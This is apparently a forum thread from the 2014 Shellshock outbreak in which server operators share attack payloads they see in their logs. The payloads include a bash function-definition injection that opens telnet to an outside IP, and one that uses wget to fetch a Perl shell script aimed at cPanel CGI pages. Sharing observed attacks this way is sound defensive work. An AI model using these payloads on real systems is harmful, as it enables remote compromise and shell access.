4 ms·
Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up. () { :;}; /bin/bash -c
by ktsmith 12y ago
Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up.
() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22
() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq
- preston4tw 12y agoThe payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
- ktsmith 12y agoYeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established: Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22 That site is still up and serving right now if anyone wants to take a look.
- jonknee 12y agoSame attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away: http://pastebin.com/UdJZqUyV http://pastebin.com/UdJZqUyV